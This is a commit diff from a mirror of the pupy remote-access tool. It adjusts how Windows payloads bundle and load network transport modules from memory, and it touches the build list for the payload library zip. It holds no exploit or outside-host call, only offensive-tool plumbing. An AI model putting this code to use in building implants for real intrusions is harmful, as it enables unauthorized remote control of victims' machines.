mirror of https://github.com/n1nj4sec/pupy.git
fix new transports import in windows payloads
This commit is contained in:
parent
63800eddd6
commit
ea7879ad6d
|
@ -30,7 +30,7 @@ else:
|
||||||
|
|
||||||
|
|
||||||
all_dependencies=list(set([x.split(".")[0] for x in sys.modules.iterkeys()]))
|
all_dependencies=list(set([x.split(".")[0] for x in sys.modules.iterkeys()]))
|
||||||
all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc"])
|
all_dependencies.extend(["win32file", "win32pipe", "Crypto", "yaml", "_yaml", "rpyc", "network"])
|
||||||
all_dependencies=list(set(all_dependencies))
|
all_dependencies=list(set(all_dependencies))
|
||||||
|
|
||||||
zf = zipfile.ZipFile(os.path.join("sources","resources","library%s.zip"%arch), mode='w', compression=zipfile.ZIP_DEFLATED)
|
zf = zipfile.ZipFile(os.path.join("sources","resources","library%s.zip"%arch), mode='w', compression=zipfile.ZIP_DEFLATED)
|
||||||
|
|
|
@ -26,23 +26,24 @@ def add_transport(module_name):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.warning("Could not load transport %s : %s. Transport disabled"%(module_name,e))
|
logging.warning("Could not load transport %s : %s. Transport disabled"%(module_name,e))
|
||||||
|
|
||||||
if "network.transports" not in sys.modules:
|
|
||||||
import transports as trlib
|
|
||||||
|
|
||||||
#importing from memory (used by payloads)
|
#importing from memory (used by payloads)
|
||||||
try:
|
try:
|
||||||
import pupyimporter
|
import pupyimporter
|
||||||
import network.transports
|
import network.transports
|
||||||
for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith("/conf.py")]:
|
for path in [x for x in pupyimporter.modules.iterkeys() if x.startswith("network/transports/") and x.endswith(("/conf.py","/conf.pyc"))]:
|
||||||
try:
|
try:
|
||||||
module_name=path.rsplit('/',2)[1]
|
module_name=path.rsplit('/',2)[1]
|
||||||
add_transport(module_name)
|
|
||||||
except Exception as e:
|
|
||||||
pass
|
|
||||||
except Exception:
|
|
||||||
#imports for pupygen and the pupysh server
|
|
||||||
for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
|
|
||||||
add_transport(module_name)
|
add_transport(module_name)
|
||||||
|
except Exception as e:
|
||||||
|
print e
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
print e
|
||||||
|
import transports as trlib
|
||||||
|
#imports for pupygen and the pupysh server
|
||||||
|
for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):
|
||||||
|
add_transport(module_name)
|
||||||
|
|
||||||
launchers["connect"]=ConnectLauncher
|
launchers["connect"]=ConnectLauncher
|
||||||
launchers["auto_proxy"]=AutoProxyLauncher
|
launchers["auto_proxy"]=AutoProxyLauncher
|
||||||
|
|
Loading…
Reference in New Issue